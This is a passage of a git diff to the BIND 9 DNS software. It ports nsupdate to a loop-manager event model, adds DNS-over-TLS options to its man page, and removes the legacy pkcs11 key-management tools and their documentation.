 	ddebug("cleanup()");
 
+	if (tls_ctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&tls_ctx_cache);
+	}
+
+	if (transport_list != NULL) {
+		dns_transport_list_detach(&transport_list);
+	}
+
 	LOCK(&answer_lock);
 	if (answer != NULL) {
 		dns_message_detach(&answer);
@@ -3310,16 +3384,7 @@ cleanup(void) {
 		dst_key_free(&sig0key);
 	}
 
-	ddebug("Shutting down managers");
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
-
-	ddebug("Destroying event");
-	isc_event_free(&global_event);
-
 #ifdef HAVE_GSSAPI
-	/*
-	 * Cleanup GSSAPI resources after taskmgr has been destroyed.
-	 */
 	if (kserver != NULL) {
 		isc_mem_put(gmctx, kserver, sizeof(isc_sockaddr_t));
 		kserver = NULL;
@@ -3331,8 +3396,8 @@ cleanup(void) {
 	if (dns_name_dynamic(&tmpzonename)) {
 		dns_name_free(&tmpzonename, gmctx);
 	}
-	if (dns_name_dynamic(&restart_master)) {
-		dns_name_free(&restart_master, gmctx);
+	if (dns_name_dynamic(&restart_primary)) {
+		dns_name_free(&restart_primary, gmctx);
 	}
 #endif /* ifdef HAVE_GSSAPI */
 
@@ -3343,47 +3408,53 @@ cleanup(void) {
 	if (memdebugging) {
 		isc_mem_stats(gmctx, stderr);
 	}
-	isc_mem_destroy(&gmctx);
 
 	isc_mutex_destroy(&answer_lock);
+
+	if (is_dst_up) {
+		ddebug("Destroy DST lib");
+		dst_lib_destroy();
+		is_dst_up = false;
+	}
+
+	ddebug("Shutting down managers");
+	isc_managers_destroy(&gmctx, &loopmgr, &netmgr);
 }
 
 static void
-getinput(isc_task_t *task, isc_event_t *event) {
+getinput(void *arg) {
 	bool more;
 
-	UNUSED(task);
+	UNUSED(arg);
 
 	if (shuttingdown) {
 		maybeshutdown();
 		return;
 	}
 
-	if (global_event == NULL) {
-		global_event = event;
-	}
-
 	reset_system();
+	isc_loopmgr_blocking(loopmgr);
 	more = user_interaction();
+	isc_loopmgr_nonblocking(loopmgr);
 	if (!more) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(loopmgr);
 		return;
 	}
+
+	done = false;
 	start_update();
-	return;
 }
 
 int
 main(int argc, char **argv) {
-	isc_result_t result;
+	uint32_t timeoutms;
+
 	style = &dns_master_style_debug;
 
 	input = stdin;
 
 	interactive = isatty(0);
 
-	isc_app_start();
-
 	if (isc_net_probeipv4() == ISC_R_SUCCESS) {
 		have_ipv4 = true;
 	}
@@ -3396,21 +3467,22 @@ main(int argc, char **argv) {
 
 	pre_parse_args(argc, argv);
 
-	isc_mem_create(&gmctx);
+	isc_managers_create(&gmctx, 1, &loopmgr, &netmgr);
 
 	parse_args(argc, argv);
 
-	setup_system();
+	/* Set the network manager timeouts in milliseconds. */
+	timeoutms = timeout * 1000;
+	isc_nm_settimeouts(netmgr, timeoutms, timeoutms, timeoutms, timeoutms);
 
-	result = isc_app_onrun(gmctx, global_task, getinput, NULL);
-	check_result(result, "isc_app_onrun");
+	setup_system();
 
-	(void)isc_app_run();
+	isc_loopmgr_setup(loopmgr, getinput, NULL);
+	isc_loopmgr_teardown(loopmgr, shutdown_program, NULL);
+	isc_loopmgr_run(loopmgr);
 
 	cleanup();
 
-	isc_app_finish();
-
 	if (seenerror) {
 		return (2);
 	} else {
diff --git a/bin/nsupdate/nsupdate.rst b/bin/nsupdate/nsupdate.rst
index b6f7c6028c..88263904ed 100644
--- a/bin/nsupdate/nsupdate.rst
+++ b/bin/nsupdate/nsupdate.rst
@@ -1,26 +1,16 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-
-.. highlight: console
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
+.. iscman:: nsupdate
+.. program:: nsupdate
 .. _man_nsupdate:
 
 nsupdate - dynamic DNS update utility
@@ -29,23 +19,23 @@ nsupdate - dynamic DNS update utility
 Synopsis
 ~~~~~~~~
 
-:program:`nsupdate` [**-d**] [**-D**] [**-i**] [**-L** level] [ [**-g**] | [**-o**] | [**-l**] | [**-y** [hmac:]keyname:secret] | [**-k** keyfile] ] [**-t** timeout] [**-u** udptimeout] [**-r** udpretries] [**-v**] [**-T**] [**-P**] [**-V**] [ [**-4**] | [**-6**] ] [filename]
+:program:`nsupdate` [**-d**] [**-D**] [**-i**] [**-L** level] [ [**-g**] | [**-o**] | [**-l**] | [**-y** [hmac:]keyname:secret] | [**-k** keyfile] ] [ [**-S**] [**-K** tlskeyfile] [**-E** tlscertfile] [**-A** tlscafile] [**-H** tlshostname] [-O] ] [**-t** timeout] [**-u** udptimeout] [**-r** udpretries] [**-v**] [**-T**] [**-P**] [**-V**] [ [**-4**] | [**-6**] ] [filename]
 
 Description
 ~~~~~~~~~~~
 
-``nsupdate`` is used to submit Dynamic DNS Update requests, as defined in
+:program:`nsupdate` is used to submit Dynamic DNS Update requests, as defined in
 :rfc:`2136`, to a name server. This allows resource records to be added or
 removed from a zone without manually editing the zone file. A single
 update request can contain requests to add or remove more than one
 resource record.
 
-Zones that are under dynamic control via ``nsupdate`` or a DHCP server
+Zones that are under dynamic control via :program:`nsupdate` or a DHCP server
 should not be edited by hand. Manual edits could conflict with dynamic
 updates and cause data to be lost.
 
 The resource records that are dynamically added or removed with
-``nsupdate`` must be in the same zone. Requests are sent to the
+:program:`nsupdate` must be in the same zone. Requests are sent to the
 zone's primary server, which is identified by the MNAME field of the
 zone's SOA record.
 
@@ -54,84 +44,162 @@ updates. These use the TSIG resource record type described in :rfc:`2845`,
 the SIG(0) record described in :rfc:`2535` and :rfc:`2931`, or GSS-TSIG as
 described in :rfc:`3645`.
 
-TSIG relies on a shared secret that should only be known to ``nsupdate``
+TSIG relies on a shared secret that should only be known to :program:`nsupdate`
 and the name server. For instance, suitable ``key`` and ``server``
-statements are added to ``/etc/named.conf`` so that the name server
+statements are added to |named_conf| so that the name server
 can associate the appropriate secret key and algorithm with the IP
 address of the client application that is using TSIG
-authentication. ``ddns-confgen`` can generate suitable
-configuration fragments. ``nsupdate`` uses the ``-y`` or ``-k`` options
+authentication. :iscman:`ddns-confgen` can generate suitable
+configuration fragments. :program:`nsupdate` uses the :option:`-y` or :option:`-k` options
 to provide the TSIG shared secret; these options are mutually exclusive.
 
 SIG(0) uses public key cryptography. To use a SIG(0) key, the public key
 must be stored in a KEY record in a zone served by the name server.
 
 GSS-TSIG uses Kerberos credentials. Standard GSS-TSIG mode is switched
-on with the ``-g`` flag. A non-standards-compliant variant of GSS-TSIG
-used by Windows 2000 can be switched on with the ``-o`` flag.
+on with the :option:`-g` flag. A non-standards-compliant variant of GSS-TSIG
+used by Windows 2000 can be switched on with the :option:`-o` flag.
 
 Options
 ~~~~~~~
 
-``-4``
+.. option:: -4
+
    This option sets use of IPv4 only.
 
-``-6``
+.. option:: -6
+
    This option sets use of IPv6 only.
 
-``-d``
+.. option:: -A tlscafile
+
+   This option specifies the file of the certificate authorities (CA) certificates
+   (in PEM format) in order to verify the remote server TLS certificate when
+   using DNS-over-TLS (DoT), to achieve Strict or Mutual TLS. When used, it will
+   override the certificates from the global certificates store, which are
+   otherwise used by default when :option:`-S` is enabled. This option can not
+   be used in conjuction with :option:`-O`, and it implies :option:`-S`.
+
+.. option:: -C
+
+   Overrides the default `resolv.conf` file. This is only intended for testing.
+
+.. option:: -d
+
    This option sets debug mode, which provides tracing information about the update
    requests that are made and the replies received from the name server.
 
-``-D``
+.. option:: -D
+
    This option sets extra debug mode.
 
-``-i``
+.. option:: -E tlscertfile
+
+   This option sets the certificate(s) file for authentication for the
+   DNS-over-TLS (DoT) transport to the remote server. The certificate
+   chain file is expected to be in PEM format. This option implies :option:`-S`,
+   and can only be used with :option:`-K`.
+
+.. option:: -g
+
+   This option enables standard GSS-TSIG mode.
+
+.. option:: -H tlshostname
+
+   This option makes :program:`nsupdate` use the provided hostname during remote
+   server TLS certificate verification. Otherwise, the DNS server name
+   is used. This option implies :option:`-S`.
+
+.. option:: -i
+
    This option forces interactive mode, even when standard input is not a terminal.
 
-``-k keyfile``
+.. option:: -k keyfile
+
    This option indicates the file containing the TSIG authentication key. Keyfiles may be in
-   two formats: a single file containing a ``named.conf``-format ``key``
-   statement, which may be generated automatically by ``ddns-confgen``;
+   two formats: a single file containing a :iscman:`named.conf`-format ``key``
+   statement, which may be generated automatically by :iscman:`ddns-confgen`;
    or a pair of files whose names are of the format
    ``K{name}.+157.+{random}.key`` and
    ``K{name}.+157.+{random}.private``, which can be generated by
-   ``dnssec-keygen``. The ``-k`` option can also be used to specify a SIG(0)
+   :iscman:`dnssec-keygen`. The :option:`-k` option can also be used to specify a SIG(0)
    key used to authenticate Dynamic DNS update requests. In this case,
    the key specified is not an HMAC-MD5 key.
 
-``-l``
+.. option:: -K tlskeyfile
+
+   This option sets the key file for authenticated encryption for the
+   DNS-over-TLS (DoT) transport with the remote server. The private key file is
+   expected to be in PEM format. This option implies :option:`-S`, and can only
+   be used with :option:`-E`.
+
+.. option:: -l
+
    This option sets local-host only mode, which sets the server address to localhost
    (disabling the ``server`` so that the server address cannot be
    overridden). Connections to the local server use a TSIG key
-   found in ``/var/run/named/session.key``, which is automatically
-   generated by ``named`` if any local ``primary`` zone has set
+   found in |session_key|, which is automatically
+   generated by :iscman:`named` if any local ``primary`` zone has set
    ``update-policy`` to ``local``. The location of this key file can be
-   overridden with the ``-k`` option.
+   overridden with the :option:`-k` option.
+
+.. option:: -L level
 
-``-L level``
    This option sets the logging debug level. If zero, logging is disabled.
 
-``-p port``
+.. option:: -o
+
+   This option is deprecated. Previously, it enabled a
+   non-standards-compliant variant of GSS-TSIG that was used by Windows
+   2000. Since that OS is now long past its end of life, this option is
+   now treated as a synonym for :option:`-g`.
+
+.. option:: -O
+
+   This option enables Opportunistic TLS. When used, the remote peer's TLS
+   certificate will not be verified. This option should be used for debugging
+   purposes only, and it is not recommended to use it in production. This
+   option can not be used in conjuction with :option:`-A`, and it implies
+   :option:`-S`.
+
+.. option:: -p port
+
    This option sets the port to use for connections to a name server. The default is
    53.
 
-``-P``
+.. option:: -P
+
    This option prints the list of private BIND-specific resource record types whose
-   format is understood by ``nsupdate``. See also the ``-T`` option.
+   format is understood by :program:`nsupdate`. See also the :option:`-T` option.
+
+.. option:: -r udpretries
 
-``-r udpretries``
    This option sets the number of UDP retries. The default is 3. If zero, only one update
    request is made.
 
-``-t timeout``
+.. option:: -S
+
+   This option indicates whether to use DNS-over-TLS (DoT) when querying
+   name servers specified by ``server servername port`` syntax in the input
+   file, and the primary server discovered through a SOA request. When the
+   :option:`-K` and :option:`-E` options are used, then the specified TLS
+   client certificate and private key pair are used for authentication
+   (Mutual TLS). This option implies :option:`-v`.
+
+.. option:: -t timeout
+
    This option sets the maximum time an update request can take before it is aborted. The
-   default is 300 seconds. If zero, the timeout is disabled.
+   default is 300 seconds. If zero, the timeout is disabled for TCP mode. For UDP mode,
+   the option :option:`-u` takes precedence over this option, unless the option :option:`-u`
+   is set to zero, in which case the interval is computed from the :option:`-t` timeout interval
+   and the number of UDP retries. For UDP mode, the timeout can not be disabled, and will
+   be rounded up to 1 second in case if both :option:`-t` and :option:`-u` are set to zero.
+
+.. option:: -T
 
-``-T``
    This option prints the list of IANA standard resource record types whose format is
-   understood by ``nsupdate``. ``nsupdate`` exits after the lists
-   are printed. The ``-T`` option can be combined with the ``-P``
+   understood by :program:`nsupdate`. :program:`nsupdate` exits after the lists
+   are printed. The :option:`-T` option can be combined with the :option:`-P`
    option.
 
    Other types can be entered using ``TYPEXXXXX`` where ``XXXXX`` is the
@@ -139,21 +207,25 @@ Options
    present, is parsed using the UNKNOWN rdata format, (<backslash>
    <hash> <space> <length> <space> <hexstring>).
 
-``-u udptimeout``
+.. option:: -u udptimeout
+
    This option sets the UDP retry interval. The default is 3 seconds. If zero, the
    interval is computed from the timeout interval and number of UDP
    retries.
 
-``-v``
-   This option specifies that TCP should be used even for small update requests. By default, ``nsupdate`` uses
+.. option:: -v
+
+   This option specifies that TCP should be used even for small update requests. By default, :program:`nsupdate` uses
    UDP to send update requests to the name server unless they are too
    large to fit in a UDP request, in which case TCP is used. TCP may
    be preferable when a batch of update requests is made.
 
-``-V``
+.. option:: -V
+
    This option prints the version number and exits.
 
-``-y [hmac:]keyname:secret``
+.. option:: -y [hmac:]keyname:secret
+
    This option sets the literal TSIG authentication key. ``keyname`` is the name of the key,
    and ``secret`` is the base64 encoded shared secret. ``hmac`` is the
    name of the key algorithm; valid choices are ``hmac-md5``,
@@ -161,7 +233,7 @@ Options
    ``hmac-sha512``. If ``hmac`` is not specified, the default is
    ``hmac-md5``, or if MD5 was disabled, ``hmac-sha256``.
 
-   NOTE: Use of the ``-y`` option is discouraged because the shared
+   NOTE: Use of the :option:`-y` option is discouraged because the shared
    secret is supplied as a command-line argument in clear text. This may
    be visible in the output from ps1 or in a history file maintained by
    the user's shell.
@@ -169,7 +241,7 @@ Options
 Input Format
 ~~~~~~~~~~~~
 
-``nsupdate`` reads input from ``filename`` or standard input. Each
+:program:`nsupdate` reads input from ``filename`` or standard input. Each
 command is supplied on exactly one line of input. Some commands are for
 administrative purposes; others are either update instructions or
 prerequisite checks on the contents of the zone. These checks set
@@ -189,23 +261,25 @@ The command formats and their meanings are as follows:
 
 ``server servername port``
    This command sends all dynamic update requests to the name server ``servername``.
-   When no server statement is provided, ``nsupdate`` sends updates
+   When no server statement is provided, :program:`nsupdate` sends updates
    to the primary server of the correct zone. The MNAME field of that
    zone's SOA record identify the primary server for that zone.
    ``port`` is the port number on ``servername`` where the dynamic
    update requests are sent. If no port number is specified, the default
    DNS port number of 53 is used.
 
+   .. note:: This command has no effect when GSS-TSIG is in use.
+
 ``local address port``
    This command sends all dynamic update requests using the local ``address``. When
-   no local statement is provided, ``nsupdate`` sends updates using
+   no local statement is provided, :program:`nsupdate` sends updates using
    an address and port chosen by the system. ``port`` can also
    be used to force requests to come from a specific port. If no port number
    is specified, the system assigns one.
 
 ``zone zonename``
    This command specifies that all updates are to be made to the zone ``zonename``.
-   If no ``zone`` statement is provided, ``nsupdate`` attempts to
+   If no ``zone`` statement is provided, :program:`nsupdate` attempts to
    determine the correct zone to update based on the rest of the input.
 
 ``class classname``
@@ -221,27 +295,34 @@ The command formats and their meanings are as follows:
    ``keyname``-``secret`` pair. If ``hmac`` is specified, it sets
    the signing algorithm in use. The default is ``hmac-md5``; if MD5
    was disabled, the default is ``hmac-sha256``. The ``key`` command overrides any key
-   specified on the command line via ``-y`` or ``-k``.
+   specified on the command line via :option:`-y` or :option:`-k`.
 
 ``gsstsig``
    This command uses GSS-TSIG to sign the updates. This is equivalent to specifying
-   ``-g`` on the command line.
+   :option:`-g` on the command line.
 
 ``oldgsstsig``
-   This command uses the Windows 2000 version of GSS-TSIG to sign the updates. This is
-   equivalent to specifying ``-o`` on the command line.
+   This command is deprecated and will be removed in a future release.
+   Previously, it caused ``nsupdate`` to use the Windows 2000 version of
+   GSS-TSIG to sign updates. It is now treated as a synonym for ``gsstsig``.
 
 ``realm [realm_name]``
    When using GSS-TSIG, this command specifies the use of ``realm_name`` rather than the default realm
    in ``krb5.conf``. If no realm is specified, the saved realm is
    cleared.
 
-``check-names [yes_or_no]``
+``check-names [boolean]``
    This command turns on or off check-names processing on records to be added.
    Check-names has no effect on prerequisites or records to be deleted.
    By default check-names processing is on. If check-names processing
    fails, the record is not added to the UPDATE message.
 
+``check-svbc [boolean]``
+   This command turns on or off check-svcb processing on records to be added.
+   Check-svcb has no effect on prerequisites or records to be deleted.
+   By default check-svcb processing is on. If check-svcb processing
+   fails, the record is not added to the UPDATE message.
+
 ``prereq nxdomain domain-name``
    This command requires that no resource record of any type exist with the name
    ``domain-name``.
@@ -303,7 +384,7 @@ Lines beginning with a semicolon (;) are comments and are ignored.
 Examples
 ~~~~~~~~
 
-The examples below show how ``nsupdate`` can be used to insert and
+The examples below show how :program:`nsupdate` can be used to insert and
 delete resource records from the ``example.com`` zone. Notice that the
 input in each example contains a trailing blank line, so that a group of
 commands is sent as one dynamic update request to the primary name
@@ -342,24 +423,24 @@ Files
 ``/etc/resolv.conf``
    Used to identify the default name server
 
-``/var/run/named/session.key``
+|session_key|
    Sets the default TSIG key for use in local-only mode
 
 ``K{name}.+157.+{random}.key``
-   Base-64 encoding of the HMAC-MD5 key created by ``dnssec-keygen``.
+   Base-64 encoding of the HMAC-MD5 key created by :iscman:`dnssec-keygen`.
 
 ``K{name}.+157.+{random}.private``
-   Base-64 encoding of the HMAC-MD5 key created by ``dnssec-keygen``.
+   Base-64 encoding of the HMAC-MD5 key created by :iscman:`dnssec-keygen`.
 
 See Also
 ~~~~~~~~
 
 :rfc:`2136`, :rfc:`3007`, :rfc:`2104`, :rfc:`2845`, :rfc:`1034`, :rfc:`2535`, :rfc:`2931`,
-:manpage:`named(8)`, :manpage:`dnssec-keygen(8)`, :manpage:`tsig-keygen(8)`.
+:iscman:`named(8) <named>`, :iscman:`dnssec-keygen(8) <dnssec-keygen>`, :iscman:`tsig-keygen(8) <tsig-keygen>`.
 
 Bugs
 ~~~~
 
 The TSIG key is redundantly stored in two separate files. This is a
-consequence of ``nsupdate`` using the DST library for its cryptographic
+consequence of :program:`nsupdate` using the DST library for its cryptographic
 operations, and may change in future releases.
diff --git a/bin/pkcs11/.gitignore b/bin/pkcs11/.gitignore
deleted file mode 100644
index d6c6dce33b..0000000000
--- a/bin/pkcs11/.gitignore
+++ /dev/null
@@ -1,4 +0,0 @@
-pkcs11-destroy
-pkcs11-keygen
-pkcs11-list
-pkcs11-tokens
diff --git a/bin/pkcs11/Makefile.am b/bin/pkcs11/Makefile.am
deleted file mode 100644
index 1bcd014980..0000000000
--- a/bin/pkcs11/Makefile.am
+++ /dev/null
@@ -1,13 +0,0 @@
-include $(top_srcdir)/Makefile.top
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)
-
-LDADD =				\
-	$(LIBISC_LIBS)
-
-bin_PROGRAMS =			\
-	pkcs11-list		\
-	pkcs11-destroy		\
-	pkcs11-keygen		\
-	pkcs11-tokens
diff --git a/bin/pkcs11/pkcs11-destroy.c b/bin/pkcs11/pkcs11-destroy.c
deleted file mode 100644
index 4e1f4b0cd3..0000000000
--- a/bin/pkcs11/pkcs11-destroy.c
+++ /dev/null
@@ -1,265 +0,0 @@
-/*
- * Copyright (C) 2009, 2015  Internet Systems Consortium, Inc. ("ISC")
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NETWORK ASSOCIATES DISCLAIMS
- * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE
- * FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
- * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Portions copyright (c) 2008 Nominet UK.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-/*
- * pkcs11-destroy [-m module] [-s $slot] [-i $id | -l $label]
- *                 [-p $pin] [ -w $wait ]
- */
-
-/*! \file */
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-
-#include <isc/commandline.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/types.h>
-
-#include <pk11/pk11.h>
-#include <pk11/result.h>
-
-int
-main(int argc, char *argv[]) {
-	isc_result_t result;
-	CK_RV rv;
-	CK_SLOT_ID slot = 0;
-	CK_SESSION_HANDLE hSession;
-	CK_BYTE attr_id[2];
-	CK_OBJECT_HANDLE akey[50];
-	pk11_context_t pctx;
-	char *lib_name = NULL;
-	char *label = NULL;
-	char *pin = NULL;
-	int error = 0;
-	unsigned int id = 0, i = 0, wait = 5;
-	int c, errflg = 0;
-	CK_ULONG ulObjectCount;
-	CK_ATTRIBUTE search_template[] = { { CKA_ID, &attr_id,
-					     sizeof(attr_id) } };
-	unsigned int j, len;
-
-	while ((c = isc_commandline_parse(argc, argv, ":m:s:i:l:p:w:")) != -1) {
-		switch (c) {
-		case 'm':
-			lib_name = isc_commandline_argument;
-			break;
-		case 's':
-			slot = atoi(isc_commandline_argument);
-			break;
-		case 'i':
-			id = atoi(isc_commandline_argument);
-			id &= 0xffff;
-			break;
-		case 'l':
-			label = isc_commandline_argument;
-			break;
-		case 'p':
-			pin = isc_commandline_argument;
-			break;
-		case 'w':
-			wait = atoi(isc_commandline_argument);
-			break;
-		case ':':
-			fprintf(stderr, "Option -%c requires an operand\n",
-				isc_commandline_option);
-			errflg++;
-			break;
-		case '?':
-		default:
-			fprintf(stderr, "Unrecognised option: -%c\n",
-				isc_commandline_option);
-			errflg++;
-		}
-	}
-
-	if (errflg || (id && (label != NULL))) {
-		fprintf(stderr, "Usage:\n");
-		fprintf(stderr, "\tpkcs11-destroy [-m module] [-s slot] "
-				"{-i id | -l label} [-p pin] [-w waittime]\n");
-		exit(1);
-	}
-
-	if (id) {
-		attr_id[0] = (id >> 8) & 0xff;
-		attr_id[1] = id & 0xff;
-	} else if (label) {
-		search_template[0].type = CKA_LABEL;
-		search_template[0].pValue = label;
-		search_template[0].ulValueLen = strlen(label);
-	}
-
-	pk11_result_register();
-
-	/* Initialize the CRYPTOKI library */
-	if (lib_name != NULL) {
-		pk11_set_lib_name(lib_name);
-	}
-
-	if (pin == NULL) {
-		pin = getpass("Enter Pin: ");
-	}
-
-	result = pk11_get_session(&pctx, OP_ANY, false, true, true,
-				  (const char *)pin, slot);
-	if (result == PK11_R_NORANDOMSERVICE ||
-	    result == PK11_R_NODIGESTSERVICE || result == PK11_R_NOAESSERVICE)
-	{
-		fprintf(stderr, "Warning: %s\n", isc_result_totext(result));
-		fprintf(stderr, "This HSM will not work with BIND 9 "
-				"using native PKCS#11.\n");
-	} else if (result != ISC_R_SUCCESS) {
-		fprintf(stderr,
-			"Unrecoverable error initializing "
-			"PKCS#11: %s\n",
-			isc_result_totext(result));
-		exit(1);
-	}
-
-	memset(pin, 0, strlen(pin));
-
-	hSession = pctx.session;
-
-	rv = pkcs_C_FindObjectsInit(hSession, search_template,
-				    ((id != 0) || (label != NULL)) ? 1 : 0);
-
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsInit: Error = 0x%.8lX\n", rv);
-		error = 1;
-		goto exit_session;
-	}
-
-	rv = pkcs_C_FindObjects(hSession, akey, 50, &ulObjectCount);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjects: Error = 0x%.8lX\n", rv);
-		error = 1;
-		goto exit_search;
-	}
-
-	if (ulObjectCount == 0) {
-		printf("No matching key objects found.\n");
-		goto exit_search;
-	} else {
-		printf("Key object%s found:\n", ulObjectCount > 1 ? "s" : "");
-	}
-
-	for (i = 0; i < ulObjectCount; i++) {
-		CK_OBJECT_CLASS oclass = 0;
-		CK_BYTE labelbuf[64 + 1];
-		CK_BYTE idbuf[64];
-		CK_ATTRIBUTE attr_template[] = {
-			{ CKA_CLASS, &oclass, sizeof(oclass) },
-			{ CKA_LABEL, labelbuf, sizeof(labelbuf) - 1 },
-			{ CKA_ID, idbuf, sizeof(idbuf) }
-		};
-
-		memset(labelbuf, 0, sizeof(labelbuf));
-		memset(idbuf, 0, sizeof(idbuf));
-
-		rv = pkcs_C_GetAttributeValue(hSession, akey[i], attr_template,
-					      3);
-		if (rv != CKR_OK) {
-			fprintf(stderr,
-				"C_GetAttributeValue[%u]: rv = 0x%.8lX\n", i,
-				rv);
-			error = 1;
-			goto exit_search;
-		}
-		len = attr_template[2].ulValueLen;
-		printf("  object[%u]: class %lu, label '%s', id[%lu] ", i,
-		       oclass, labelbuf, attr_template[2].ulValueLen);
-		if (len > 4) {
-			len = 4;
-		}
-		if (len > 0) {
-			printf("0x");
-		}
-		for (j = 0; j < len; j++)
-			printf("%02x", idbuf[j]);
-		if (attr_template[2].ulValueLen > len) {
-			printf("...\n");
-		} else {
-			printf("\n");
-		}
-	}
-
-	if (wait != 0) {
-		printf("WARNING: This action is irreversible! "
-		       "Destroying key objects in %u seconds\n  ",
-		       wait);
-		for (i = 0; i < wait; i++) {
-			printf(".");
-			fflush(stdout);
-			sleep(1);
-		}
-		printf("\n");
-	}
-
-	for (i = 0; i < ulObjectCount; i++) {
-		rv = pkcs_C_DestroyObject(hSession, akey[i]);
-		if (rv != CKR_OK) {
-			fprintf(stderr,
-				"C_DestroyObject[%u] failed: rv = 0x%.8lX\n", i,
-				rv);
-			error = 1;
-		}
-	}
-
-	if (error == 0) {
-		printf("Destruction complete.\n");
-	}
-
-exit_search:
-	rv = pkcs_C_FindObjectsFinal(hSession);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsFinal: Error = 0x%.8lX\n", rv);
-		error = 1;
-	}
-
-exit_session:
-	pk11_return_session(&pctx);
-	(void)pk11_finalize();
-
-	exit(error);
-}
diff --git a/bin/pkcs11/pkcs11-destroy.rst b/bin/pkcs11/pkcs11-destroy.rst
deleted file mode 100644
index af43f61748..0000000000
--- a/bin/pkcs11/pkcs11-destroy.rst
+++ /dev/null
@@ -1,71 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-
-.. highlight: console
-
-.. _man_pkcs11-destroy:
-
-pkcs11-destroy - destroy PKCS#11 objects
-
-Synopsis
-~~~~~~~~
-
-:program:`pkcs11-destroy` [**-m** module] [**-s** slot] [**-i** ID] [**-l** label] [**-p** PIN] [**-w** seconds]
-
-Description
-~~~~~~~~~~~
-
-``pkcs11-destroy`` destroys keys stored in a PKCS#11 device, identified
-by their ``ID`` or ``label``.
-
-Matching keys are displayed before being destroyed. By default, there is
-a five-second delay to allow the user to interrupt the process before
-the destruction takes place.
-
-Options
-~~~~~~~
-
-``-m module``
-   This option specifies the PKCS#11 provider module. This must be the full path to a
-   shared library object implementing the PKCS#11 API for the device.
-
-``-s slot``
-   This option opens the session with the given PKCS#11 slot. The default is slot 0.
-
-``-i ID``
-   This option destroys keys with the given object ID.
-
-``-l label``
-   This option destroys keys with the given label.
-
-``-p PIN``
-   This option specifies the ``PIN`` for the device. If no ``PIN`` is provided on the command
-   line, ``pkcs11-destroy`` prompts for it.
-
-``-w seconds``
-   This option specifies how long, in seconds, to pause before carrying out key destruction. The
-   default is 5 seconds. If set to ``0``, destruction is
-   immediate.
-
-See Also
-~~~~~~~~
-
-:manpage:`pkcs11-keygen(8)`, :manpage:`pkcs11-list(8)`, :manpage:`pkcs11-tokens(8)`
